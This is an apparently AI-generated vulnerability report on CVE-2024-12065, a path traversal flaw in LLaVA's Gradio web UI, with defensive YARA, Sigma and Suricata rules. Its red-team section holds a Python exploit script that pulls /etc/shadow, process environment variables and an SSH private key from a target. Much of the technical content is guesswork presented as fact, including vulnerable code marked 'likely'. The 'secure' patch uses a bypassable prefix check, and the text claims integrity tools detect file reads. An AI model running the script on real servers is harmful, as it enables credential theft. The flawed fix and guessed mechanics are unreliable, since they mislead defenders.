CVE-2024-12065

Executive Summary

CVE-2024-12065 is a Local File Inclusion (LFI) vulnerability in the haotian-liu/llava project, specifically at commit c121f04. The vulnerability resides in the Gradio web UI component, which fails to properly validate user-supplied input when handling file requests. An attacker can send multiple crafted HTTP requests to traverse directories and read arbitrary files from the server's filesystem. The CVSS score is 7.5 (High), with a vector indicating network-based, low-complexity exploitation requiring no privileges or user interaction. The EPSS score is 0.0%, suggesting low current exploitation activity, but the lack of a patch makes this a significant risk for any deployment using this commit.

Supply Chain & Package Security

This vulnerability affects a Python-based project (llava) that uses Gradio for its web interface. The project is not distributed via PyPI as a standard package but is typically cloned from GitHub. The supply chain risk is moderate: if an organization uses a Docker image or a cloned repository at the vulnerable commit, they are directly exposed. There is no known malicious package on PyPI, but the lack of a patch means any deployment must be manually hardened or the code must be forked and fixed.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely over the network.
• Attack Complexity (AC): Low (L) – No special conditions required; simple HTTP requests.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – The vulnerable component and the affected resource are in the same security authority.
• Confidentiality (C): High (H) – Complete file read access, including sensitive data.
• Integrity (I): None (N) – No file modification possible.
• Availability (A): None (N) – No denial of service.

Threat Level: High. The vulnerability is trivial to exploit, requires no authentication, and can leak sensitive system files (e.g., /etc/passwd, application secrets, SSH keys). The lack of a patch increases the urgency for mitigation.

Deep Dive & Mechanics

The vulnerability is a classic path traversal (CWE-22) in the Gradio web UI component of llava. Gradio is a Python library for creating web demos for machine learning models. In the vulnerable commit, the application does not sanitize or validate the file parameter (or similar) used to serve static files or user-uploaded content. By sending a request like:

GET /file=../../../../etc/passwd HTTP/1.1
Host: target:7860

The server resolves the path relative to its working directory, allowing traversal outside the intended directory. The vulnerability is "local file inclusion" because it allows reading arbitrary files, not just those in a predefined directory. The attacker may need to send multiple requests to map the filesystem or to bypass weak filters (e.g., if the application strips ../ once, double encoding or using ....// can bypass it).

Vulnerable vs. Patched Code

Vulnerable Code (commit c121f04): The Gradio route handler likely uses os.path.join with user input without normalization. Example (pseudocode):

@app.get("/file")
def serve_file(file_path: str):
    full_path = os.path.join(BASE_DIR, file_path)
    return send_file(full_path)

This allows file_path=../../etc/passwd to resolve outside BASE_DIR.

Patched Code (hypothetical): A secure implementation would use os.path.abspath and verify the resolved path starts with the intended base directory:

import os

BASE_DIR = os.path.abspath("uploads")

@app.get("/file")
def serve_file(file_path: str):
    full_path = os.path.abspath(os.path.join(BASE_DIR, file_path))
    if not full_path.startswith(BASE_DIR):
        return "Access denied", 403
    return send_file(full_path)

Since no official patch exists, users must implement this fix manually or use a web application firewall (WAF) to block path traversal patterns.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A running instance of haotian-liu/llava at commit c121f04 (e.g., Docker container or local server on port 7860).
• Python 3 and requests library.

Exploit Script:

import requests

target = "http://target:7860"
payloads = [
    "/file=../../../../etc/passwd",
    "/file=../../../../etc/shadow",
    "/file=../../../../proc/self/environ",
    "/file=../../../../home/llava/.ssh/id_rsa"
]

for payload in payloads:
    url = target + payload
    try:
        r = requests.get(url, timeout=5)
        if r.status_code == 200 and len(r.text) > 0:
            print(f"[+] Success: {url}")
            print(r.text[:500])
        else:
            print(f"[-] Failed: {url} (status {r.status_code})")
    except Exception as e:
        print(f"[!] Error: {e}")

Expected Output: The script will dump the contents of /etc/passwd and other files if the server is vulnerable.

Blue Team (Detection & Hardening)

Detection:

• Monitor HTTP access logs for patterns like ../, %2e%2e/, or ....// in the URI.
• Alert on requests to /file= or similar endpoints with suspicious path components.
• Use a WAF rule to block path traversal sequences.

Hardening:

• Apply the patched code logic (see above) to the Gradio route handler.
• Run the application in a container with a read-only filesystem and minimal privileges.
• Use a reverse proxy (e.g., Nginx) to restrict access to the Gradio interface to trusted IPs only.
• Disable the file serving endpoint if not needed.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP GET requests containing ../, %2e%2e, ....//, or file:// in the URI.
  • Requests to /file= or /static/ with path traversal sequences.
  • Outbound connections from the server to an attacker-controlled IP after file exfiltration (if the attacker uses a callback).
• File System IOCs:
  • Unexpected access to /etc/passwd, /etc/shadow, /proc/self/environ, or application configuration files.
  • Presence of files like /tmp/exploit.log or similar artifacts if the attacker writes data.
• Log IOCs:
  • Gradio access logs showing 200 responses for requests with ../ patterns.
  • System logs (e.g., auth.log) showing failed SSH attempts if SSH keys are leaked.

Detection Engineering

YARA Rule

rule CVE_2024_12065_LFI_Detection {
    meta:
        description = "Detects path traversal attempts targeting CVE-2024-12065 in Gradio/LLaVA"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-12065"
    strings:
        $traversal1 = "../"
        $traversal2 = "..\\"
        $traversal3 = "%2e%2e/"
        $traversal4 = "....//"
        $endpoint = "/file="
    condition:
        any of ($traversal*) and $endpoint
}

Sigma Rule

title: CVE-2024-12065 LFI Attempt on Gradio/LLaVA
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects HTTP requests with path traversal patterns targeting the Gradio file endpoint.
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: gradio
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains:
            - '../'
            - '..\\'
            - '%2e%2e/'
            - '....//'
        cs-uri-stem|contains: '/file='
    condition: selection
falsepositives:
    - Legitimate use of file paths with dots (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-12065 LFI Attempt on Gradio/LLaVA"; flow:to_server,established; content:"GET"; http_method; content:"/file="; http_uri; content:"../"; within:100; http_uri; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Patch the code: Apply the path validation logic shown in the "Vulnerable vs. Patched Code" section to the Gradio route handler.
2. Use a WAF: Deploy a web application firewall (e.g., ModSecurity, Cloudflare) with rules to block path traversal patterns.
3. Restrict network access: Limit access to the Gradio interface (port 7860) to trusted IPs using a firewall or reverse proxy.
4. Containerize: Run the application in a Docker container with a read-only root filesystem and minimal capabilities.

Long-Term Actions:

1. Monitor for updates: Watch the haotian-liu/llava repository for an official patch or fork the project and apply the fix.
2. Conduct a security audit: Review all Gradio endpoints for similar input validation issues.
3. Implement file integrity monitoring: Use tools like AIDE or Tripwire to detect unauthorized file reads.

Valters IT Signature This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.